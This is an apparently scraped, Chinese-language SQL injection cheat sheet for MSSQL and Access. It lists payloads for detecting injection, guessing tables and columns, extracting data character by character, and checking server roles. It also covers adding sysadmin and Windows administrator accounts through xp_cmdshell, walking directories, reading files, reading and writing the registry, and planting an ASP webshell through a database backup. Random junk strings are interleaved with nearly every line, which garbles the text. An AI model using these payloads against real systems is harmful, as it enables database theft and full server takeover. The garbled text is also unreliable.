1.判断是否有注入;and 1=1 ;and 1=2 '
1]bjW*!
2.初步判断是否是mssql ;and user>0 zi[M{bm
M{RZ-)IC
3.注入参数是字符'and [查询条件] and ''=' ?
Z
fhz
q;~>h
4.搜索时没过滤参数的'and [查询条件] and '%25'=' +((31l
u`2k6.-
5.判断数据库系统 s3!LR2qiF
y,
_3Ks
;and (select count(*) from sysobjects)>0 mssql AFUl
R*fR?
;and (select count(*) from msysobjects)>0 access ^b.
MR ?9
j;'Wf[V
I_s(yO4pw
'yjH~F.
6.猜数据库 ;and (select Count(*) from [数据库名])>0 !#s7 F
O +}EE^*a
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Rw8m5U
Q31c@t
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Ou,_l
ZTC1t_
9.(1)猜字段的ascii值(access) V
*y
2,nCGSfc
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 M:f=JuAx
jc`',o'[+
(2)猜字段的ascii值(mssql) ~y^lNgujO
s""8V_,;
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 R*C+Yk)Tkt
Dx)XC?'xO
10.测试权限结构(mssql) / {~h?P}
lc#zS_
g}KZL-p4\m
*uM*)6O 3
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]arskmB]
s4k%ty}
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- @&yj7-]
ebK
wCZwK*
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- _\;#a
?tQv|x
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- rL"k-5>fd
Xe+FMbBco
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- @23x;x
(.+n1)L?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0lN8#k>H
:[03upyS
;and 1=(select IS_MEMBER('db_owner'));-- .LHe*J C
7E)7sd
>vy+U
1e} 3L2rC
11.添加mssql和系统的帐户 gOAluP
=(\!,S'
;exec master.dbo.sp_addlogin username;-- TvwIro
;exec master.dbo.sp_password null,username,password;-- :!hH`l}p
1=.kH[R
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0E1)&f
ZfikNQU9r
;exec master.dbo.xp_cmdshell 'net user username password C;>Ll~f_
RtL'fd
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- _3[BS9
^4NH.q{
;exec master.dbo.xp_cmdshell 'net user username password /add';-- qNL~m'
j-|0&X1C
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- zSCPp6
XS/TYdXB8
s$6#3%h
ZW%`G@d"H-
12.(1)遍历目录 1X.1t^HH:
J)NpG9iN
;create table dirs(paths varchar(100), id int) e[!>ezaIY
eO G%6C%a
;insert dirs exec master.dbo.xp_dirtree 'c:\' )>p6h]]a
o#6}?g.
;and (select top 1 paths from dirs)>0 6P|neb}
]Jqe)o
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) sAlgp2-
ztpb/9J9
[L^#<@S
k({8C`&tK/
(2)遍历目录 ,cEcMaJ
UC@ "<$'C
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- pC8i&_A
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 `_`,XkpzCJ
ic#drpl,
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 .`].\Zykf
_R6> Ayw*
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 mNKa~E
N\$wpDI~
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~]W8NaQB(
8{u01\0}
M czWg
{%Sww:
13.mssql中的存储过程 ?|dz"=y
gId+hxFa:r
xp_regenumvalues 注册表根键, 子键 }Jfo(j
}JsdgO&z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 l!,{bOZ
Ls{fCi/2F
xp_regread 根键,子键,键值名 ,L G&sa"
swrd
;exec xp_regread r~!lD9R~
9n'p 7(s%
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 gKCIfxM
"Wp<^s sMo
xp_regwrite 根键,子键, 值名, 值类型, 值 Le!I-i(aD
`fyAV@X
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 :ux`*,zh
,z3b2$
&A
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 }^q#0`e(y
$Vzfhj-if
xp_regdeletevalue 根键,子键,值名 9h{G1XL
_JH6bvbQ
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 cw\a,>]H
x7?{*w&r
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 rGWTpN
Apn#o2
k|5nu-B0v
Y<v55m-
14.mssql的backup创建webshell -,&Xp>u\
i_"I"5pBF
use model lLhCk>a
%Y TIS*+0
create table cmd(str image); |.A>0-']M
?H&p zY~H
insert into cmd(str) values (''); #,56vVY
$BY{:#a]
backup database model to disk='c:\l.asp'; O}Jb,?p
:y)'qv[
FcA0 \`0M
)-@EUN0E>5
15.mssql内置函数 *)<tyIHd
5z_)
;and (select @@version)>0 获得Windows的版本号 kokkZd7!
Ou^dI
;and user_name()='dbo' 判断当前系统的连接用户是不是sa w3@te\
0CROq}
;and (select user_name())>0 爆当前系统的连接用户 i*<,@*
k$UBZ,=iC
;and (select db_name())>0 得到当前连接的数据库 DYS(ZY)4
&ly[mBP~
:$j~;)2
}W<L;yD
16.简洁的webshell uOQ5.S+
EB#z\
use model yl}Hr*
7@F B^[H:y
create table cmd(str image); vF,l?cU~
( nh!tC
insert into cmd(str) values (''); |j,Mof
RC 48e._t
backup database model to disk='g:\wwwtest\l.asp';